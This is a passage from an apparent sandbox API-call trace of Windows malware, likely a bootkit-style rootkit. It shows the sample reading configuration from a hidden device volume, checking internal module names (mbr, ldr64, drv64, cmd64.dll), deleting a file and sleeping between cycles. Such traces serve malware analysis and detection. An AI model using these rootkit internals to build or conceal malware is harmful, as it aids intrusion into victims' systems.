SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.568] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.568] IdePortDispatch () returned 0x103 [0118.568] KeWaitForMutexObject () returned 0x0 [0118.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.569] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.569] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.569] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.569] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.569] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cd5a0 [0118.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.569] KeLeaveCriticalRegion () [0118.569] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.569] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.569] KeEnterCriticalRegion () [0118.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.569] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.569] KeLeaveCriticalRegion () [0118.569] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.569] KeEnterCriticalRegion () [0118.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.569] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.569] IdePortDispatch () returned 0x103 [0118.569] KeWaitForMutexObject () returned 0x0 [0118.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.569] KeLeaveCriticalRegion () [0118.569] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.569] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.569] KeEnterCriticalRegion () [0118.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.570] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003514000 [0118.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.570] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.570] IdePortDispatch () returned 0x103 [0118.570] KeWaitForMutexObject () returned 0x0 [0118.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.570] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.570] IdePortDispatch () returned 0x103 [0118.570] KeWaitForMutexObject () returned 0x0 [0118.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.570] KeLeaveCriticalRegion () [0118.570] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.571] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.571] KeEnterCriticalRegion () [0118.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.571] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.571] KeLeaveCriticalRegion () [0118.571] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.571] KeEnterCriticalRegion () [0118.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.571] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.571] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.571] KeLeaveCriticalRegion () [0118.571] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.571] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.571] KeEnterCriticalRegion () [0118.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.571] ExFreePoolWithTag (P=0xfffffa80039cd5a0, Tag=0x0) [0118.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.571] KeLeaveCriticalRegion () [0118.571] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.571] ReleaseMutex (hMutex=0xf0) returned 1 [0118.571] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.571] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.571] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.571] KeEnterCriticalRegion () [0118.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.571] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.571] IdePortDispatch () returned 0x103 [0118.572] KeWaitForMutexObject () returned 0x0 [0118.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.572] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.572] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.572] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.572] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.572] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aae670 [0118.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.572] KeLeaveCriticalRegion () [0118.572] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.572] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.572] KeEnterCriticalRegion () [0118.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.572] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.572] KeLeaveCriticalRegion () [0118.572] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.572] KeEnterCriticalRegion () [0118.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.572] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.572] IdePortDispatch () returned 0x103 [0118.572] KeWaitForMutexObject () returned 0x0 [0118.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.572] KeLeaveCriticalRegion () [0118.572] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.572] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.572] KeEnterCriticalRegion () [0118.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.573] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003515000 [0118.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.573] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.573] IdePortDispatch () returned 0x103 [0118.573] KeWaitForMutexObject () returned 0x0 [0118.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.573] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.573] IdePortDispatch () returned 0x103 [0118.573] KeWaitForMutexObject () returned 0x0 [0118.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.573] KeLeaveCriticalRegion () [0118.573] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.574] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.574] KeEnterCriticalRegion () [0118.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.574] KeLeaveCriticalRegion () [0118.574] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.574] KeEnterCriticalRegion () [0118.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.574] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.574] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.574] KeLeaveCriticalRegion () [0118.574] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.574] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.574] KeEnterCriticalRegion () [0118.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.574] ExFreePoolWithTag (P=0xfffffa8003aae670, Tag=0x0) [0118.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.574] KeLeaveCriticalRegion () [0118.574] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.574] ReleaseMutex (hMutex=0xf0) returned 1 [0118.574] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.574] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.574] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.574] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.574] KeEnterCriticalRegion () [0118.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.574] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.574] IdePortDispatch () returned 0x103 [0118.575] KeWaitForMutexObject () returned 0x0 [0118.575] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.575] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.575] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.575] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.575] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.575] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.575] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.575] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.575] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.575] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.575] KeLeaveCriticalRegion () [0118.575] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.575] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.575] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.575] KeEnterCriticalRegion () [0118.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.575] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.575] IdePortDispatch () returned 0x103 [0118.576] KeWaitForMutexObject () returned 0x0 [0118.576] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.576] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.576] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.576] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.576] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.576] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.576] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.576] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.576] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.576] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.576] KeLeaveCriticalRegion () [0118.576] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.576] ReleaseMutex (hMutex=0x100) returned 1 [0118.576] Sleep (dwMilliseconds=0x2bf20) [0118.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69e1ac90, dwHighDateTime=0x1d24fa4)) [0118.589] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.589] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.589] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.589] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.589] KeEnterCriticalRegion () [0118.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.589] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.589] IdePortDispatch () returned 0x103 [0118.589] KeWaitForMutexObject () returned 0x0 [0118.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.589] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.589] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.590] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.590] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.590] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036499c0 [0118.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.590] KeLeaveCriticalRegion () [0118.590] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.590] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.590] KeEnterCriticalRegion () [0118.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.590] KeLeaveCriticalRegion () [0118.590] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.590] KeEnterCriticalRegion () [0118.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.590] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.590] IdePortDispatch () returned 0x103 [0118.590] KeWaitForMutexObject () returned 0x0 [0118.590] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.590] KeLeaveCriticalRegion () [0118.590] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.590] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.590] KeEnterCriticalRegion () [0118.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.590] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003518000 [0118.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.590] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.590] IdePortDispatch () returned 0x103 [0118.590] KeWaitForMutexObject () returned 0x0 [0118.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.591] MmProbeAndLockPages 